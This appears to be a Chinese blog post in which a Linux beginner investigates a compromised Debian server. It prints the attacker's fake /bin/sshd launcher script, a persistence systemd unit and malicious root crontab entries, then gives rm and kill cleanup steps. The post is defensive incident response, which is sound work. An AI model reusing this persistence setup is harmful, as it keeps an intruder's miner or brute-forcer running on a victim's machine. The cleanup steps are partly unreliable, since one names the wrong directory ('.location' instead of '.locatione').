赞
踩
问题:今天登录学习用的 Linux 时发现 root 登录不了,是因为密码不对,估计是被黑了,因为是 LINUX 小白,所以在这方面也没啥安全意识,只能先将 root 密码恢复一下,再研究下怎么解决吧,这也是为了记录下,思路也不知道对不对,等处理完成最后再把 root 密码再改下吧,唉。
另:这机器是 Debian 11 最小化安装,服务就只有 Tomcat 和 PostgreSQL服务是对外开放了端口,而且端口号还修改成不是默认的了,有哪位大神可以赐教该如何防着点么,在这里先谢谢了。
要直接看怎么处理的话,直接看最后面内容吧,中间是自己的嘚啵嘚。。。
查询问题:
通过查看进程,发现有个 systemc 进程,对照其他正常的机器,这运行不应该存在
然后,查到这个程序是运行在 root 目录下有个 .cfg 目录,整体是在这里运行的
查看到这个目录中有个脚本名 .b4nd1d0,所以从这个名开始查询
- root@debian:~/.cfg# grep -r "b4nd1d0" /bin
- /bin/sshd: $locatieasdf/.b4nd1d0 > /dev/null 2>&1 & disown
- /bin/sshd: $locatieasdf/.b4nd1d0 > /dev/null 2>&1 & disown
- /bin/sshd: $locatieasdf/.b4nd1d0 > /dev/null 2>&1 & disown
上面这个目录里查到了 .b4nd1d0 是从另一个脚本过来的,脚本是 /bin/sshd ,经对照其实正常不应该在此位置有这个文件,先瞅瞅这个文件里写的啥
cat /bin/sshd
- #!/bin/bash
- locatieasdf=/root/.cfg
- if [ ! -d $locatieasdf ]; then
- mkdir $locatieasdf
- rsync -r /usr/bin/.locatione/ $locatieasdf/
- sleep 0.3
- $locatieasdf/.b4nd1d0 > /dev/null 2>&1 & disown
- else
- if [ ! -f $locatieasdf/systemc ]; then
- rsync -r /usr/bin/.locatione/ $locatieasdf/
- sleep 0.3
- $locatieasdf/.b4nd1d0 > /dev/null 2>&1 & disown
- else
- $locatieasdf/.b4nd1d0 > /dev/null 2>&1 & disown
- fi
- fi

嘿,感觉 /usr/bin/.locatione/ 这个目录是根源,还带同步的,瞅瞅这个目录里都有啥
- -rwxr-xr-x 1 root root 13 1月 8 15:41 bios.txt
- -rwxr-xr-x 1 root root 1008K 11月 1 16:49 blackmn
- -rwxr-xr-x 1 root root 879K 9月 17 07:33 brute
- -rwxr-xr-x 1 root root 3.9K 9月 17 07:33 pass
- -rwxr-xr-x 1 root root 658K 9月 17 07:29 ps
- -rwxr-xr-x 1 root root 5.6M 10月 31 16:08 systemc
这一段应该差不多了,咱再接着往下查 .b4nd1d0 在其他目录还有啥信息
- root@debian:~/.cfg# grep -r "b4nd1d0" /var
- /var/log/syslog:Jan 10 00:00:01 debian CRON[34851]: (root) CMD (/root/.cfg/./.b4nd1d0)
- /var/log/syslog:Jan 10 08:56:19 debian systemd[1]: myservice.service: Unit process 433 (.b4nd1d0) remains running after unit stopped.
- /var/log/syslog:Jan 10 09:17:27 debian systemd[1]: myservice.service: Unit process 413 (.b4nd1d0) remains running after unit stopped.
- /var/log/syslog:Jan 10 09:29:27 debian systemd[1]: myservice.service: Unit process 896 (.b4nd1d0) remains running after unit stopped.
- grep: /var/log/journal/a4ad240cd4e64333843259198e7b9cde/system.journal:匹配到二进制文件
- /var/log/daemon.log:Jan 10 08:56:19 debian systemd[1]: myservice.service: Unit process 433 (.b4nd1d0) remains running after unit stopped.
- /var/log/daemon.log:Jan 10 09:17:27 debian systemd[1]: myservice.service: Unit process 413 (.b4nd1d0) remains running after unit stopped.
- /var/log/daemon.log:Jan 10 09:29:27 debian systemd[1]: myservice.service: Unit process 896 (.b4nd1d0) remains running after unit stopped.
- /var/log/syslog.1:Jan 9 00:00:01 debian CRON[16217]: (root) CMD (/root/.cfg/./.b4nd1d0)
- /var/spool/cron/crontabs/root:@daily /root/.cfg/./.b4nd1d0
上面的结果好像是被我给 KILL 掉的记录,但发现了应该是从一个服务 myservice.service 执行的,也就是为什么会开机就被运行了
- root@debian:/lib/systemd/system# find / -name myservi*
- /etc/systemd/system/multi-user.target.wants/myservice.service
- /usr/lib/systemd/system/myservice.service
-
- root@debian:/lib/systemd/system# ll myservice.service
- -rw-r--r-- 1 root root 213 1月 8 15:51 myservice.service
因为 /lib 是 /usr/lib 的软链接,所以这两个是一个目录
下面是 myservice.service 的内容,这应该就是开机运行的源头了吧
- root@debian:/lib/systemd/system# cat myservice.service
- [Unit]
- Description=Example systemd service.
- [Service]
- Type=forking
- ExecStart=/bin/bash /usr/bin/sshd
- Restart=always
- RestartSec=720
- SuccessExitStatus=1
- KillMode=none
- [Install]
- WantedBy=multi-user.target
/bin 也是 /usr/bin 的软链接,所以这两个是一个目录
更新一个定时任务里也有,真是恶心啊
- root@Webapp-study:~# crontab -l
- # @daily /root/.cfg/./.b4nd1d0
- # @reboot /root/.cfg/./.blackmn > /dev/null 2>&1 & disown
- # * * * * * /root/.cfg/./.blackmn > /dev/null 2>&1 & disown
- # @monthly /root/.cfg/./.blackmn > /dev/null 2>&1 & disown
-
- 直接都删掉就好了
- root@Webapp-study:~# crontab -r
- root@Webapp-study:~# crontab -l
- no crontab for root
暂时问题查询就到这了,再不知道怎么往下找了
现在简单整理一下执行过程:
开机运行 myservice.service 调用了 /usr/bin/ssh 脚本,这个脚本同步 /usr/bin/.locatione/ 目录中的内容到用户目录,并运行。
----------------------------------------------------------------------------------------------------------------------------
处理方式:
1.查到对应的PID,然后KILL掉
- ps 或 htop 都行,我进程少,所以 htop 比较直观 (htop 是用 apt 安装的)
- kill -9 PID号
2.删掉 myservice.service 服务
- rm -rf /etc/systemd/system/multi-user.target.wants/myservice.service
- rm -rf /usr/lib/systemd/system/myservice.service
3.删掉 /usr/bin/sshd 文件
rm -rf /usr/bin/sshd
4.删掉 /usr/bin/.location 目录
rm -rf /usr/bin/.location
5.最后删掉 /root/.cfg 整个目录
rm -rf /root/.cfg
最后重启下,再查下进程和刚才那几个目录,要是再没有异常了应该就是正常了
赶紧先改个密码吧,按说密码也够强壮,挺郁闷的一个事儿。
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。